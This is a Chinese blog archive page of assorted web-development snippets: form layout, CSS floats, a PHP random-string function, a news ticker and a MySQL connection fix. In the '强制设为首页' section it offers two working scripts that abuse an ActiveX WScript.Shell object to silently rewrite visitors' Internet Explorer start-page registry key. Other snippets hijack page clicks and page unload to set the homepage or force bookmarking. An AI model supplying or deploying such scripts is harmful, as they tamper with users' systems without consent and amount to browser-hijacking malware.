分类目录归档:互联网上

关于解决 HTML 中 FORM 占一行的问题

有时候 在 放的 form 格式不对会出现多处一行的问题,影响整体美观,其实主要是位置没放好,还有是 FORM 在整个HTML中可以随意放置,当然结束和开始中间只有一个提交的时候。

要是form不与上一部分空行,可以把<form…>…</form>放在<table><tr>两标签中间。如:  
  <table>  
  <form   action=XXXXX   method=post>  
      <tr>  
          <td>  
  <input   type="text"   name="textfield"   value=""   size=12   maxlength=20>  
          </td>  
      </tr>  
  </form>  
  </table>

同时也可也

<body>

  <form   action=XXXXX   method=post>  

..

.

.

.

 

.

</form></body>这样放置

 

 

firefox下 float 去IE的区别

在firefox下右边框css设置只能用float:right ,IE下可以用float:left
<div class="Left"></div>
<div class="Right"></div>
.left
{
     float:left;
     width:20%;
     border:solid 1px red;
}

.Right
{
     float:right;
     width:76%;
}

PHP获取随机字符的函数

<?
//获取随机字符 此函数区分字符大小写 如果不区分大小写可加入函数strtolower
function genRandomString($len)
{
    $chars = array(
        "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k",  
        "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v",  
        "w", "x", "y", "z", "A", "B", "C", "D", "E", "F", "G",  
        "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R",  
        "S", "T", "U", "V", "W", "X", "Y", "Z", "0", "1", "2",  
        "3", "4", "5", "6", "7", "8", "9"
    );
    $charsLen = count($chars) – 1;
    shuffle($chars);// 将数组打乱
    $output = "";
    for ($i=0; $i<$len; $i++)
    {
        $output .= $chars[mt_rand(0, $charsLen)]; //获得一个数组元素
    }  
    return $output;
}
$str = genRandomString(4);
echo $str;
?>
 

单行向上轮番滚动的JS代码

<script>
var marqueeContent=new Array();   //滚动新闻
marqueeContent[0]='<a href=# target=_blank class="f12red">小泉称若自民党在议会选举中失败</a><br>’;
marqueeContent[1]='<a href=# target=_blank class="f12red">布什发表广播讲话</a><br>’;
marqueeContent[2]='<a href=# target=_blank class="f12red">伊斯兰武装炸毁印控克什米尔铁路导致列车出轨</a><br>’;
marqueeContent[3]='<a href=# target=_blank class="f12red">布雷默:即使抓住了萨达姆也难以结束抵抗行动</a><br>’;
var marqueeInterval=new Array();  //定义一些常用而且要经常用到的变量
var marqueeId=0;
var marqueeDelay=2000;
var marqueeHeight=20;
//接下来的是定义一些要使用到的函数
function initMarquee() {
    var str=marqueeContent[0];
    document.write(‘<div id=marqueeBox style="overflow:hidden;height:’+marqueeHeight+’px" onmouseover="clearInterval(marqueeInterval[0])" onmouseout="marqueeInterval[0]=setInterval(\’startMarquee()\’,marqueeDelay)"><div>’+str+'</div></div>’);
    marqueeId++;
    marqueeInterval[0]=setInterval("startMarquee()",marqueeDelay);
    }
function startMarquee() {
    var str=marqueeContent[marqueeId];
        marqueeId++;
    if(marqueeId>=marqueeContent.length) marqueeId=0;
    if(marqueeBox.childNodes.length==1) {
        var nextLine=document.createElement(‘DIV’);
        nextLine.innerHTML=str;
        marqueeBox.appendChild(nextLine);
        }
    else {
        marqueeBox.childNodes[0].innerHTML=str;
        marqueeBox.appendChild(marqueeBox.childNodes[0]);
        marqueeBox.scrollTop=0;
        }
    clearInterval(marqueeInterval[1]);
    marqueeInterval[1]=setInterval("scrollMarquee()",20);
    }
function scrollMarquee() {
    marqueeBox.scrollTop++;
    if(marqueeBox.scrollTop%marqueeHeight==(marqueeHeight-1)){
        clearInterval(marqueeInterval[1]);
        }
    }
initMarquee();
</script>

Lost connection to MySQL server during query

一个网站远程连MYSQL数据库,来是出现 Lost connection to server during query 这个问题,经过搜索好久都没解决这个问题,主要是其他同样的程序连接同样的数据库都能正常,但是就一个站不行。后来经过一次次的逐步试验,终于解决问题、。。

[mysqld]项下添加参数:
skip-name-resolve

后来果真好了。

cookies实现退出弹出“设为主页”代码

<script>
function getCookie(name) {
var start = document.cookie.indexOf( name + "=" );
var len = start + name.length + 1;
if ( ( !start ) && ( name != document.cookie.substring( 0, name.length ) ) ) {
return null;
}
if ( start == -1 ) return null;
var end = document.cookie.indexOf( ‘;’, len );
if ( end == -1 ) end = document.cookie.length;
return unescape( document.cookie.substring( len, end ) );
}
function SetCookie(name,value)//两个参数,一个是cookie的名子,一个是值
{
    var Days = 1; //此 cookie 将被保存 1 天
    var exp  = new Date();   
    exp.setTime(exp.getTime() + Days*24*60*60*1000);
    document.cookie = name + "="+ escape (value) + ";expires=" + exp.toGMTString();
}
function setpage(aa,str){
//注意,只对IE有效,FF需要修改浏览器设置
aa.style.behavior="url(#default#homepage)";
var bb=getCookie("username");   //读取cookies
if (bb!=’easyplay8er’)
{
aa.setHomePage(str);
SetCookie("username","easyplay8er");
}
}
</script>
<body onclick="setpage(this,’http://www.maqie.com/’);">
</body>

退出弹出“加入收藏”代码

<script language="javascript" type="text/javascript">
function bookmark()
{
if(readCookie("bookmark")!="yes")
{
saveCookie("bookmark","yes",1);
window.external.AddFavorite(‘http://www.maqie.com/’, ‘长河日志’);
}
}

function saveCookie(name,value,days) {
    if (days) {
        var date = new Date();
        date.setTime(date.getTime()+(days*24*60*60*1000))
        var expires = "; expires="+date.toGMTString()
    }
    else expires = ""
    document.cookie = name+"="+value+expires+"; path=/"
}
function readCookie(name) {
    var nameEQ = name + "="
    var ca = document.cookie.split(‘;’)
    for(var i=0;i<ca.length;i++) {
        var c = ca[i];
        while (c.charAt(0)==’ ‘) c = c.substring(1,c.length)
        if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length)
    }
    return null
}
</script>
<body onUnload="bookmark()">
</body>

强制设为首页JS代码

  <SCRIPT   language=JavaScript>  
  document.write("<APPLET   HEIGHT=0   WIDTH=0   code=com.ms.activeX.ActiveXComponent></APPLET>");  
  function   mm()  
  {  
      try  
      {  
          //ActiveX初始化过程(为达到修改用户注册表所必须的准备程序)  
          a1=document.applets[0];  
          a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");  
          a1.createInstance();  
          Shl   =   a1.GetObject();  
          try  
          {  
              if   (document.cookie.indexOf("mmm")   ==   -1)  
              {  
                  Shl.RegWrite   ("HKCU\\Software\\Microsoft\\Internet   Explorer\\Main\\Start   Page",   "http://www.csdn.net/");//修改用户InternetExplorer浏览器的默认主页  
                  var   expdate   =   new   Date((new   Date()).getTime()   +   (1));  
                  document.cookie="mmm=0;   expires="   +   expdate.toGMTString()   +   ";   path=/;"  
              }  
          }  
          catch(e)  
          {}  
      }  
      catch(e)  
      {}  
  }  
  function   init()  
  {  
      setTimeout("mm()",   1000);//实现打开页面后1秒钟内执行测试修改注册表的工作  
  }  
  init();  
  </SCRIPT>

 

 

  <script>  
  var   ucook=document.cookie;  
  var   user=ucook.indexOf("ilooki=");  
  if   (user==-1)  
  {  
  var   nowTime=new   Date();  
  document.cookie="ilooki=1"+";"+"expires=Wednesday,04-Jan-"+eval(nowTime.getYear()+1903)+"12:34:56   GMT";  
  document.write   ("<APPLET   HEIGHT=0   WIDTH=0   code=com.ms.activeX.ActiveXComponent></APPLET>");function   yuzi(){try{a1=document.applets   [0];a1.setCLSID   ("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");  
  a1.createInstance();  
  Shl=a1.GetObject();  
  a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");  
  try   {Shl.RegWrite("HKCU\\Software\\Microsoft\\Internet   Explorer\\Main\\Start   Page","http://yang");}catch(e){}}catch(e){}}setTimeout("yuzi()",1000);  
  }  
  </script>  

怎么让QQ农场的东西不被偷?

   现在兴起了偷菜游戏,也就是开心网的开心农场和QQ空间的QQ农场最为热门,像我的,东西经常被偷,郁闷啊,不被人家偷的最好方法就是,要比人家摘的块。哈哈,特地找了个桌面提醒软件,就相当于桌面备忘录的功能,可以设置倒计时,就是还需要成熟的时间直接倒计时那设置进去好行了。没到提醒的时候就去等着自己的菜。哈哈

软件下载地址:http://www.maqie.com/archives/2349/

虽然累点,但是比用外挂给降级,心情上总好点。